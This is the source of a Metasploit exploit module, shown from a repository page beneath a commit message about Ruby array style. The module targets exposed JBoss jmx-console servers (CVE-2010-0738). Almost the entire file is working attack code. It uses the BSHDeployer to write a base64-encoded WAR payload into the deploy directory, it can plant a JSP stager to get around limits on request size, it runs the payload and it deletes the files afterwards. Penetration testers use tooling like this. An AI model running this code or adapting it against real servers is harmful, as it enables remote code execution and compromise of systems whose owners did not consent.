c547e84fa7
According to the Ruby style guide, %w{} collections for arrays of single
words are preferred. They're easier to type, and if you want a quick
grep, they're easier to search.
This change converts all Payloads to this format if there is more than
one payload to choose from.
It also alphabetizes the payloads, so the order can be more predictable,
and for long sets, easier to scan with eyeballs.
See:
https://github.com/bbatsov/ruby-style-guide#collections
462 lines
14 KiB
Ruby
462 lines
14 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] }
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'JBoss JMX Console Beanshell Deployer WAR Upload and Deployment',
|
|
'Description' => %q{
|
|
This module can be used to install a WAR file payload on JBoss servers that have
|
|
an exposed "jmx-console" application. The payload is put on the server by
|
|
using the jboss.system:BSHDeployer\'s createScriptDeployment() method.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Patrick Hof',
|
|
'jduck',
|
|
'Konrads Smelkovs',
|
|
'h0ng10'
|
|
],
|
|
'License' => BSD_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2010-0738' ], # using a VERB other than GET/POST
|
|
[ 'OSVDB', '64171' ],
|
|
[ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ],
|
|
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ],
|
|
],
|
|
'Privileged' => true,
|
|
'Platform' => %w{ java linux win },
|
|
'Stance' => Msf::Exploit::Stance::Aggressive,
|
|
'Targets' =>
|
|
[
|
|
#
|
|
# do target detection but java meter by default
|
|
# detect via /manager/serverinfo
|
|
#
|
|
[ 'Automatic (Java based)',
|
|
{
|
|
'Arch' => ARCH_JAVA,
|
|
'Platform' => 'java'
|
|
} ],
|
|
|
|
#
|
|
# Platform specific targets only
|
|
#
|
|
[ 'Windows Universal',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'win'
|
|
},
|
|
],
|
|
[ 'Linux Universal',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'linux'
|
|
},
|
|
],
|
|
|
|
#
|
|
# Java version
|
|
#
|
|
[ 'Java Universal',
|
|
{
|
|
'Platform' => 'java',
|
|
'Arch' => ARCH_JAVA,
|
|
}
|
|
]
|
|
],
|
|
'DisclosureDate' => "Apr 26 2010",
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8080),
|
|
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
|
|
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
|
|
OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
|
|
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),
|
|
OptString.new('PATH', [ true, 'The URI path of the JMX console', '/jmx-console' ]),
|
|
OptString.new('PACKAGE', [ true, 'The package containing the BSHDeployer service', 'auto' ]),
|
|
OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'POST', ['GET', 'POST', 'HEAD']])
|
|
|
|
], self.class)
|
|
end
|
|
|
|
|
|
def exploit
|
|
jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
|
|
app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
|
|
|
|
|
|
# Dynamic variables, only used if we need a stager
|
|
stager_base = rand_text_alpha(8+rand(8))
|
|
stager_jsp_name = rand_text_alpha(8+rand(8))
|
|
content_var = rand_text_alpha(8+rand(8))
|
|
decoded_var = rand_text_alpha(8+rand(8))
|
|
file_path_var = rand_text_alpha(8+rand(8))
|
|
jboss_home_var = rand_text_alpha(8+rand(8))
|
|
fos_var = rand_text_alpha(8+rand(8))
|
|
|
|
|
|
# The following jsp script will write the exploded WAR file to the deploy/
|
|
# directory. This is used to bypass the size limit for GET/HEAD requests
|
|
stager_jsp = <<-EOT
|
|
<%@page import="java.io.*,
|
|
java.util.*,
|
|
sun.misc.BASE64Decoder"
|
|
%>
|
|
<%
|
|
if (request.getParameter("#{content_var}") != null) {
|
|
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
|
|
String #{file_path_var} = #{jboss_home_var} + "/deploy/" + "#{app_base}.war";
|
|
try {
|
|
String #{content_var} = "";
|
|
#{content_var} = request.getParameter("#{content_var}");
|
|
FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var});
|
|
byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var});
|
|
#{fos_var}.write(#{decoded_var});
|
|
#{fos_var}.close();
|
|
}
|
|
catch(Exception e){ }
|
|
}
|
|
%>
|
|
|
|
EOT
|
|
|
|
p = payload
|
|
mytarget = target
|
|
|
|
if (target.name =~ /Automatic/)
|
|
mytarget = auto_target()
|
|
if (not mytarget)
|
|
fail_with(Failure::NoTarget, "Unable to automatically select a target")
|
|
end
|
|
print_status("Automatically selected target \"#{mytarget.name}\"")
|
|
else
|
|
print_status("Using manually select target \"#{mytarget.name}\"")
|
|
end
|
|
arch = mytarget.arch
|
|
|
|
# set arch/platform from the target
|
|
plat = [Msf::Module::PlatformList.new(mytarget['Platform']).platforms[0]]
|
|
|
|
# We must regenerate the payload in case our auto-magic changed something.
|
|
return if ((p = exploit_regenerate_payload(plat, arch)) == nil)
|
|
|
|
# Generate the WAR containing the payload
|
|
war_data = p.encoded_war({
|
|
:app_name => app_base,
|
|
:jsp_name => jsp_name,
|
|
:arch => mytarget.arch,
|
|
:platform => mytarget.platform
|
|
}).to_s
|
|
|
|
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
|
|
|
|
if datastore['VERB'] == 'POST' then
|
|
deploy_payload_bsh(encoded_payload, app_base)
|
|
else
|
|
# We need to deploy a stager first
|
|
encoded_stager_jsp = Rex::Text.encode_base64(stager_jsp).gsub(/\n/, '')
|
|
deploy_stager_bsh(encoded_stager_jsp, stager_base, stager_jsp_name)
|
|
|
|
# now we call the stager to deploy our real payload war
|
|
stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
|
|
payload_data = "#{content_var}=#{Rex::Text.uri_encode(encoded_payload)}"
|
|
print_status("Calling stager to deploy final payload")
|
|
call_uri_mtimes(stager_uri, 5, 'POST', payload_data)
|
|
end
|
|
|
|
#
|
|
# EXECUTE
|
|
#
|
|
uri = '/' + app_base + '/' + jsp_name + '.jsp'
|
|
print_status("Calling JSP file with final payload...")
|
|
print_status("Executing #{uri}...")
|
|
|
|
# The payload doesn't like POST requests
|
|
tmp_verb = datastore['VERB']
|
|
tmp_verb = 'GET' if tmp_verb == 'POST'
|
|
call_uri_mtimes(uri, 5, tmp_verb)
|
|
|
|
|
|
#
|
|
# DELETE
|
|
#
|
|
# The WAR can only be removed by physically deleting it, otherwise it
|
|
# will get redeployed after a server restart.
|
|
delete_script = <<-EOT
|
|
String jboss_home = System.getProperty("jboss.server.home.dir");
|
|
new File(jboss_home + "/deploy/#{app_base + '.war'}").delete();
|
|
EOT
|
|
|
|
delete_stager_script = <<-EOT
|
|
String jboss_home = System.getProperty("jboss.server.home.dir");
|
|
new File(jboss_home + "/deploy/#{stager_base + '.war/' + stager_jsp_name + '.jsp'}").delete();
|
|
new File(jboss_home + "/deploy/#{stager_base + '.war'}").delete();
|
|
new File(jboss_home + "/deploy/#{app_base + '.war'}").delete();
|
|
EOT
|
|
|
|
delete_script = delete_stager_script if datastore['VERB'] != 'POST'
|
|
|
|
print_status("Undeploying #{uri} by deleting the WAR file via BSHDeployer...")
|
|
res = invoke_bshscript(delete_script, @pkg)
|
|
if !res
|
|
print_warning("WARNING: Unable to remove WAR [No Response]")
|
|
end
|
|
if (res.code < 200 || res.code >= 300)
|
|
print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
|
|
end
|
|
|
|
handler
|
|
end
|
|
|
|
|
|
def deploy_stager_bsh(encoded_stager_code, stager_base, stager_jsp_name)
|
|
|
|
jsp_file_var = rand_text_alpha(8+rand(8))
|
|
jboss_home_var = rand_text_alpha(8+rand(8))
|
|
fstream_var = rand_text_alpha(8+rand(8))
|
|
byteval_var = rand_text_alpha(8+rand(8))
|
|
stager_var = rand_text_alpha(8+rand(8))
|
|
decoder_var = rand_text_alpha(8+rand(8))
|
|
|
|
# The following Beanshell script will write a short stager application into the deploy
|
|
# directory. This stager script is then used to install the payload
|
|
#
|
|
# This is neccessary to overcome the size limit for GET/HEAD requests
|
|
stager_bsh_script = <<-EOT
|
|
import java.io.FileOutputStream;
|
|
import sun.misc.BASE64Decoder;
|
|
|
|
String #{stager_var} = "#{encoded_stager_code}";
|
|
|
|
BASE64Decoder #{decoder_var} = new BASE64Decoder();
|
|
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
|
|
new File(#{jboss_home_var} + "/deploy/#{stager_base + '.war'}").mkdir();
|
|
byte[] #{byteval_var} = #{decoder_var}.decodeBuffer(#{stager_var});
|
|
String #{jsp_file_var} = #{jboss_home_var} + "/deploy/#{stager_base + '.war/' + stager_jsp_name + '.jsp'}";
|
|
FileOutputStream #{fstream_var} = new FileOutputStream(#{jsp_file_var});
|
|
#{fstream_var}.write(#{byteval_var});
|
|
#{fstream_var}.close();
|
|
EOT
|
|
print_status("Creating exploded WAR in deploy/#{stager_base}.war/ dir via BSHDeployer")
|
|
deploy_bsh(stager_bsh_script)
|
|
end
|
|
|
|
|
|
def deploy_payload_bsh(encoded_payload, app_base)
|
|
|
|
# The following Beanshell script will write the exploded WAR file to the deploy/
|
|
# directory
|
|
payload_bsh_script = <<-EOT
|
|
import java.io.FileOutputStream;
|
|
import sun.misc.BASE64Decoder;
|
|
|
|
String val = "#{encoded_payload}";
|
|
|
|
BASE64Decoder decoder = new BASE64Decoder();
|
|
String jboss_home = System.getProperty("jboss.server.home.dir");
|
|
byte[] byteval = decoder.decodeBuffer(val);
|
|
String war_file = jboss_home + "/deploy/#{app_base + '.war'}";
|
|
FileOutputStream fstream = new FileOutputStream(war_file);
|
|
fstream.write(byteval);
|
|
fstream.close();
|
|
EOT
|
|
|
|
print_status("Creating exploded WAR in deploy/#{app_base}.war/ dir via BSHDeployer")
|
|
deploy_bsh(payload_bsh_script)
|
|
|
|
end
|
|
|
|
def deploy_bsh(bsh_script)
|
|
if datastore['PACKAGE'] == 'auto'
|
|
packages = %w{ deployer scripts }
|
|
else
|
|
packages = [ datastore['PACKAGE'] ]
|
|
end
|
|
|
|
success = false
|
|
packages.each do |p|
|
|
print_status("Attempting to use '#{p}' as package")
|
|
res = invoke_bshscript(bsh_script, p)
|
|
if !res
|
|
fail_with(Failure::Unknown, "Unable to deploy WAR [No Response]")
|
|
end
|
|
|
|
if (res.code < 200 || res.code >= 300)
|
|
case res.code
|
|
when 401
|
|
print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
|
|
fail_with(Failure::NoAccess, "Authentication requested: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
|
|
end
|
|
|
|
print_error("Upload to deploy WAR [#{res.code} #{res.message}]")
|
|
fail_with(Failure::Unknown, "Invalid reply: #{res.code} #{res.message}")
|
|
else
|
|
success = true
|
|
@pkg = p
|
|
break
|
|
end
|
|
end
|
|
|
|
if not success
|
|
fail_with(Failure::Unknown, "Failed to deploy the WAR payload")
|
|
end
|
|
end
|
|
|
|
|
|
def call_uri_mtimes(uri, num_attempts = 5, verb = nil, data = nil)
|
|
verb = datastore['VERB'] if verb.nil?
|
|
|
|
# JBoss might need some time for the deployment. Try 5 times at most and
|
|
# wait 5 seconds inbetween tries
|
|
num_attempts.times do |attempt|
|
|
|
|
if (verb == "POST")
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => uri,
|
|
'method' => verb,
|
|
'data' => data
|
|
}, 5)
|
|
else
|
|
|
|
uri += "?#{data}" unless data.nil?
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => uri,
|
|
'method' => verb
|
|
}, 30)
|
|
end
|
|
|
|
msg = nil
|
|
if (!res)
|
|
msg = "Execution failed on #{uri} [No Response]"
|
|
elsif (res.code < 200 or res.code >= 300)
|
|
msg = "http request failed to #{uri} [#{res.code}]"
|
|
elsif (res.code == 200)
|
|
print_status("Successfully called '#{uri}'") if datastore['VERBOSE']
|
|
return res
|
|
end
|
|
|
|
if (attempt < num_attempts - 1)
|
|
msg << ", retrying in 5 seconds..."
|
|
print_status(msg) if datastore['VERBOSE']
|
|
select(nil, nil, nil, 5)
|
|
else
|
|
print_error(msg)
|
|
return res
|
|
end
|
|
end
|
|
end
|
|
|
|
|
|
def auto_target
|
|
if datastore['VERB'] == 'HEAD' then
|
|
print_status("Sorry, automatic target detection doesn't work with HEAD requests")
|
|
else
|
|
print_status("Attempting to automatically select a target...")
|
|
res = query_serverinfo
|
|
if not (plat = detect_platform(res))
|
|
fail_with(Failure::NoTarget, 'Unable to detect platform!')
|
|
end
|
|
|
|
if not (arch = detect_architecture(res))
|
|
fail_with(Failure::NoTarget, 'Unable to detect architecture!')
|
|
end
|
|
|
|
# see if we have a match
|
|
targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
|
|
end
|
|
|
|
# no matching target found, use Java as fallback
|
|
java_targets = targets.select {|t| t.name =~ /^Java/ }
|
|
return java_targets[0]
|
|
end
|
|
|
|
def query_serverinfo
|
|
path = normalize_uri(datastore['PATH'], '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo')
|
|
res = send_request_raw(
|
|
{
|
|
'uri' => path,
|
|
'method' => datastore['VERB']
|
|
}, 20)
|
|
|
|
if (not res) or (res.code != 200)
|
|
print_error("Failed: Error requesting #{path}")
|
|
return nil
|
|
end
|
|
|
|
res
|
|
end
|
|
|
|
# Try to autodetect the target platform
|
|
def detect_platform(res)
|
|
if (res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m)
|
|
os = $1
|
|
if (os =~ /Linux/i)
|
|
return 'linux'
|
|
elsif (os =~ /FreeBSD/i)
|
|
return 'linux'
|
|
elsif (os =~ /Windows/i)
|
|
return 'win'
|
|
end
|
|
end
|
|
nil
|
|
end
|
|
|
|
|
|
# Try to autodetect the target architecture
|
|
def detect_architecture(res)
|
|
if (res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m)
|
|
arch = $1
|
|
if (arch =~ /(x86|i386|i686)/i)
|
|
return ARCH_X86
|
|
elsif (arch =~ /(x86_64|amd64)/i)
|
|
return ARCH_X86
|
|
end
|
|
end
|
|
nil
|
|
end
|
|
|
|
|
|
# Invokes +bsh_script+ on the JBoss AS via BSHDeployer
|
|
def invoke_bshscript(bsh_script, pkg)
|
|
params = 'action=invokeOpByName'
|
|
params << '&name=jboss.' + pkg + ':service=BSHDeployer'
|
|
params << '&methodName=createScriptDeployment'
|
|
params << '&argType=java.lang.String'
|
|
params << '&arg0=' + Rex::Text.uri_encode(bsh_script)
|
|
params << '&argType=java.lang.String'
|
|
params << '&arg1=' + rand_text_alphanumeric(8+rand(8)) + '.bsh'
|
|
|
|
if (datastore['VERB']== "POST")
|
|
res = send_request_cgi({
|
|
'method' => datastore['VERB'],
|
|
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
|
|
'data' => params
|
|
})
|
|
else
|
|
res = send_request_cgi({
|
|
'method' => datastore['VERB'],
|
|
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor') + "?#{params}"
|
|
}, 30)
|
|
end
|
|
res
|
|
end
|
|
end
|